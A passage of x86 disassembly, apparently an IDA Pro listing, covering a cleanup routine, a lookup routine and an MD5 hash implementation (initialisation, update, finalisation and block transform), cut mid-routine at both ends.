		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 2730000h
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103B4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		call	near ptr 27503CCh
		nop
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		call	near ptr 27C092Fh
		nop
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	99E89051h, 56022EBEh, 0E890D88Bh
		dd 22EC053h, 36CAE857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; ""
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
